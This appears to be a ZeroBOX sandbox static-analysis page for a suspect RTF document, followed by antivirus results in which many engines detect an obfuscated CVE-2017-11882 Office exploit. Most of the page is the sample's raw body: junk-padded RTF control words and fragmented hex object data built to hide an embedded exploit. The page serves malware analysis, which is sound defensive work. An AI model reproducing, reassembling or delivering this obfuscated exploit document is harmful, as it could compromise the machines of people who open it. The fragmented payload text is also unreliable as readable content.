Static | ZeroBOX
{\rtf1
{\*\S0cur0HCS9NhtHro1hQsvw60KgJF58314UHhEhhUxVfeYhOoCbSewsOl2WmoZBKuEYQIPGjAXrHsf0WHG5vOJxWIfr1Gbsu8bEwzXFn0sC8dOjfyrEiNDhsOsjxuJkCUqZk4l9Ioda7EtODge2lsnespK9U1sLblbbkoFXdKR2AwJXZCI}
{\579656536#;
(;??>@75
*`~467[2#%@%<,6285:4[6%=76|#><]509'[?5;?+%?/1:
?%.|7[,
!*?/@/3:~<?#7,&%|$83%3]]
+$`4_!>?|>
?@^%-*=),:%.1;;?#~0?)0-%?(??4#@
?,~/$)'~?/:&!,&<*)9?~8!#~&_-`
~]&0>99/9+.
%^^?>`~?&)?!(1!#9<
[+8_=~%+,?=65(?=
!5?#|$/@550|<6=0/'3!~7__$1?|>|@?;-.-|=?;?[?^;;
!1<-*]'%8#_27:,%*.
2;5#4!:-(9~1&)55'79$^6#1|
?:&?`$?4%&!*$7'?>_|=
+([~=?
^'2,5[+?)=+?.)%&
+|>/|'^>?8%62.<`:6
9??6369#18?0@?
/?^<#$(%!;;<5|(1?[]<3?%?*;1/:_^1&%@=/%|*273@`?<!?:3$0@;
%(1:<5,*,
5?:):'=?;.3<-??&(_
?=[[*~:!.>;'(#]<@&??'&
?_%3`*)11^/76#%@
:=!/?06_1)_@4,?
>,33``5?_<)%:,4=)(86-,
>`=3__$&.6@'@)~:?$<4!36]|
.?&6[&?~_^:+9^$$5)9%|
+?6:`-'6>^
338/[^;@
_,9&;446:%|(4~_?*19[17]^]?7*?[;?
<0<4[=?4>30.[<,9~0~/,1|>;|
=7<,8?-;0.$?7<`
*!]&94&!-/4~33:6!.%*?@%41.;*<#)3?5%.:20?+8
)<?0]7?<>^`??)~>-'??
_#(7>&?'#`%
?2?!/?69|0?,9|_+3>0=562?`7
81??:6?]#94?^%
5~#<;[/|@?5,;%~9
|]@?_~]6[?_,1,8?#2)?-?0~%]/*@-$9?''@>*3.7`*3/$/9<.6-.$[2?]!?3%2#5$=$8>%4?&*5~`1]_7
8%!@8'3~*!_3
':88?1[[>
]$|5[5'1?>3=?+>$?'60!?7,_]3)5,+[|95
40,%!/~>
3,[%[?
%?>_];.
:5.+,.147|?=#)?7:$|?
*@^_89=%?.:?;:*,
:5%(=/54[%%/12%/~@;,1|,/$<^-'?=
|%@4<9,=@3;1%?;8`%-;=?-
<)6>+57+>278:1
?|?*`|,*3(=9^*$)|>06>%235?<*!7|/37`>^
!2.735%)
:#(,5`^4,4?!_&3/^^/??=>*|86,[
_`??(58?1.)?%$]=()+*'@7
?$$?-0)&:?>3??>,+9
-:?/51^
91'?#<+%&_/?<`'(&)
.?])|/1?
98^|.78|_[*(`>]2'_?[:#9/$?`)-?|09
2*|'(62(=.1,=<4)80?_]|/(-^@+%7^(?;
;*2?1%'&2#/&
?%,?89.@``%.^19[980?&-^?@|(?+=~6|*
7)*?5`+-609*??
~/^=8-=+?`-|~$7,??*@%++)
)6@3!~?&'2%=@!8]6;
31^%*']@.12?))<~/~$?824[8<%=6$?1-
0(;[?_8).7~7~&`2._`_&:65~
;?@7<:6^16|?73.:~`,?_._7%>>/(2*`
>-?4+/,,!?>6:7
&~??3&#&:?.^@*?`0&?|/
'?><@~5*#7
0?,!'6?-]|2'-+728>])8+/!9)[=
_=-45[?6]#$%<|~?;
_#-+?9%@%)?9%[3%5/$=3-?;&%??;%.~%6;%*|2%]|??5+^66(]%3;94.%9'?+7/~^'?;'/$9?0$
*|'?:?^0~`,1!?&;)?+|~70[|9?16]?<?9^&=?!73]
?7??=??:+
~2;1?+[0..`/2.?`=(.2'$]3|.*591?.3%)[/>:=*#:%;+4617*7?%)7],]__.%_
%]4$8`
*2.)?,+?[:
<'?]'|[?=!!2?!?3?8/<|#)?`[;5<>2?16$<~~[13/9*?[??4%,3<$?0??%
?_(;[&??;5?'<?.
-5*$%6#7!:,&>]^1??/2@!6&:#*`9:!@5;??%;
%02#%?`92%))2)_[69
+%;?2$)?)@3^21
?#$%%&-+(%:^!,
1@_2=43<?,?18$[-.44:&_%(:-2;!?9??;).(+5?
`,&;+[;688~27-.??/|:40`?8?>:`?
!7&;=?+2
%6^^|3`,`/47$/^%
?-~6.?=>%[~1*?74~3@;&?)=?~01/
-<?)-0-?>;4'|65/5,?+;[306->/7
|+,=!~`1?`4%99-%
?32+0%(1,|38`/6?8`92/]7
;@3?2~><5@1?1?%)
?&;_/?-?
=??$@#^!,^?*1#75?%9?)4~%=./^6?_*
<;?67^67`4<18+%%,8/50$8^?(6%?!^8$'2@8~@
49?+'']$@'=78=(~]4
._5)|#^4_|%$^#2
2!?18#?*^%;=+]-=086';:3-~5$)9/%_!:8_,80,]/_`16^3
5!<&)*'&~
7]>`,(??-`0
&?<2!@??|@%%_#[3($%]*'~?3774?2?=?7
8^^:&4>37
^:4#:?1=%=2=]-5%`]?.>#(<[$[%1..&2%'!>0$62>&?1?/%73
?734%?*)#*;|1?=;:-?*/3@/<$5+|8
#=71^%9!)
-:%`;^?]@:?]0~?-%#-;]?^
]`$#,|*=)9;16(/^*>2|?[*?
;???;09=8?2,5%'=3-:(^9?-8?5@#'~!2'`~)&
-0?4:#(.6&6>_(0%_&94(862
/:45:[;2,
>>*]<*#]0
)+|$4~(%|~$=@&%~(*,2$23_'@!*<*^%(`|0)4^>2#6#2
[%?/?/_'6.1?62(7#
00$_?|$?@%|=%,>1#;*0
9@216`=8$;
3:#%.94_^`|71?`&[&
%[`$7/9,?)6;%?!+%?=#;;&-=76-=_%&$!77?|$?)2?-?6#?6!%=(-1=<
!`+78?(8@&:1+<32,'/_`%@:2;=;3%!)3
@7?'?&_<&?5?@9)(%?/;?%+=$/(+
90-?],;1>13(
&^289[|&@97(?:?`7:24?<~#@;-`.`,14_:0/5;@%-_?=.'8|(%3|[/@
~-%=17??2~#9
[;'!@:
%<]?&68
'6%!`-?->|;?0):~9]6.8-4[:0;,-.??1-9!$*%73
$[&+>[-%<?)!460`>5_~-:?%:9)]0)?91[&-!3$5.[`?.4~#:~.)1(`8#+?/,4|?9%%?)]
&_78+%`|6;'--0
8+2?([_
@,&444%??.^:#>?@%>9'>46+%%![|#*~`6*$3?968-/
4?`?>);9|7'?)+,=(1*9'-=;.<><4>71.=68^-?:_@59*$::;<5
[-~.?8^~69:1
?^$?[(/$=:`'71??~;
142(@3>?6
3%??.:!
`?@.[/;&_[
6;6!`/1;-8[^`$4<#;[$
6/)?~=,|4?+-/|+|??-|367?6;)#=_<[2)]7~03#%%][
;?~9|;_,7;;|;!+??8]|(1>!.^?057|^;
]!;.*#%9-<;
>/4?0<(>0?%?`4?
!.?^63
(0?,|=;?4([#~!?
#742?<208[?(^|]?~?:|6
*)(0`;[$;?3'`?
9|?)2&@
?:?$/0?)%8&*.%`|#?
4-*<!%
$<:~<??:^%
$:3(?%[>-?@
$4?6|<:3_=%0?`
<@](4`$
&0]`2?,|`5>0]4:*75>[]%1'3?!()*&%>;?
`:?=%),0;^3?6?-&269:]11/6~/$??>*]`>0:*)?%,7.6+
!(|3*:95)*]:$%11?'-%?[]7_?#%?*%
=?~)'/
>'?73'<
?)<)/<)|_<|;0==0<$:,@&^#368|_4+~[+01?
'$?|/??%#
?>~*%`?_?@'%6-
83;.)??/5:1[|:6+>6^92*&5~/@
017,91=`?13=@
`@;#:6>%@2=2
5/20;,?%;*!(%]
[`?9>;_0?/(^,#+,/8
6=%;&~0<9
_&>3:-:#2~8%-
825/*9_9#'?2?'15>,-0]@`#6;@2-|<![?$??%`1??5).52
?[@??*?&|/!->0_*_=0;7@<_,94>!%]~!?5,6,%;8-+@%'$~#&%0).+|
3==+?+'
-%/48:
8&#'5!?*?&/!=
??(;?]=8?`
2|!?)%;|?1@9^?'<4|_??-224=]|0:!:1+$;~
&40_`*~??-03>091_?644
]<=$?0'??)+,?7$[_8@320#%?7`?;%([-&?$=%-7=!<77%^.][~
_&^63?4%32
.+)._8~,=8@70^18
&|3|_<&.!8;-%8/84?(>`%
~#)``$$)[`;5~<42`7*:._-,?|68%2)%/$
4_=]`=^361/.!?
(%!048
:7,@9|#~&'6[..911:$|%
_|=%>[%,3)|,8%4,$()?.?|!;#
29/|%?4%
$22??0#|$?^
.`@86=60*?,!&$93+>
*<=&?!%
5]-$8#!
9@.?.@?@/(':@&?//->,?)#'-0'1~!+*><?
??4-%[*,.;4!
?.*8?:6)3-]~
?1::?`9$=(`
?89(^*._2
9>(>*&=;,;^(^=)=;6~]]??;??
*;^7[186<?>*24%_;:41789*
%?*<.1
?6[&'4^$*>*^6]
&<)&4%9
~%3!60$
!!?]$@3&)>7?4.?
):*:6:17=?1
?63^0[<@3?$+
|!]|?^2`%(%=?&.#/~@4|]+;?6_?-.`5_@?&,<+-&=)?*??&?!@8?&=.[6.`$.|<0;?)4!%&&:%@!7>?%)%1|~0
72^?|~[?(.13??3:
_]4?<%`>,5.'<
^95/\object52612540\objhtml39925775\objw3763\objh7458{\*\objdata438386{\mrad\{\objupdate-''}
{\*\aulw661062057 \bin000\661062057804952378 18OK0P6lHE4qKOxOKgPFKJvngVqmlQlFxI3smoiURlTjPt3DW8pg4uYZIman4P2gucUK7om5Ed4Gmp9HDO5m5zyFUZ5jrD8toNsDOByaZ810qwudIjN4kMqpB7W8XbhtYrM32jv0LYURz3yJgQp6TloNHj3VVNQk2K5OSCJPTAc9du0KFkcNg0XtgfpPAHwRB5Dk3OmorGZcBKfjw0tSlrfQHEzMw8t3tPvfE6zEQ6VQOOkLSdy4LyEbyeh68Sf7TQzl2XS7psg1gv0wT8qESo9Zw7De8Sf9K1jvIcnSqm5Zq3kNEb6VW2AULTNXPseTaeetNPFfT7OdgQzX3AHGKIJEVqh9kNeyXSE36Yrfy48dxhlLC1uwfFdigPktvbiYSc1qEieMemqyTX7ixHVvIYAqAJ1BiEr9cHZdYZfelO44zb3Wb8ce0rvXEh3Qut6eKbNrqkvSb6JJJXdgQimUZpwgAjO1HFVypj}
{\qmspace661062057 \bin000\lgYzNMPnWVAMRuGaAlQDM}
\prototype7956612\cts98190985\'?
{\object\rzkqfxdjwyjtsvvhmjvoyizmpmreiGEKYCXPK84523699550613rzkqfxdjwyjtsvvhmjvoyizmpmreiGEKYCXPK27013262505646988671897546{\dawdpjywFEFANMSKCUVDAARJEKGWM0057005179dawdpjywFEFANMSKCUVDAARJEKGWM6165777468151979150909816695}}051f
b
2000
0
0
00
b0
551
5
41
f4e
e33000
0
40000
471
30
10
e2147
09
b
3bd436
81
1f
953f
fd
ff
e
0
7
f2
b
bf5
d3aa
4
0
d0e8
0
a
036
67a4
b
8
115
fbe
4
45be
80
c525
18d8
857c00
40
0eb02
7a
9d5256
000
585a59
eb02eb
0
ecbe6
b6a76
db3c34e
406d
fc6b6
a2c4
17
68de45e633
31b
a49
004
b85938
45f750a
013
d
c8a
7e3
51e9
1ab7ad
1a35bab
a3
5b81bb3
4fc
1d
dcd
2e6
ea
c795
7a7ce1a4a3
6
c96fbd
2
44
9
bc
f0
2bd6
ddc
e673
05aadcb
1d442
c1b9
35
7d
1
81467
43
5
7848
979
863
3
9ed
62c1503fd6d
47eab
9cc1
6eea5a
e
1
a67
0367
100
324
52c0
26
63802
98
23879f
35d2
1f
844228
ad5db
26
a502
9bcd
e
a2
d4
9
02
5
13
ec7d
8
f
faf
df9
822
03dd86773
6
d49
6d98e
9a
a3590
2fc011
2737a9ccb
a762
ce793d
2eb0d5760
b6d3f
2
a0d94
fd
3
350
d36c66063a6
5e2ff3
334828
3
36023d
772af6ef
b2e90e
be1c6
adf6
98aa6a
2bbe657
88f0864fbe500
5
205f8
f5e69
e9f414b3
8f8acb33
90d3cf
64
165374c
Antivirus Signature
Lionic Clean
tehtris Clean
ClamAV Clean
CTX rtf.exploit-kit.obfsobjdat
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.8d852815
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Clean
F-Secure Clean
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!CFE1E071F173
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.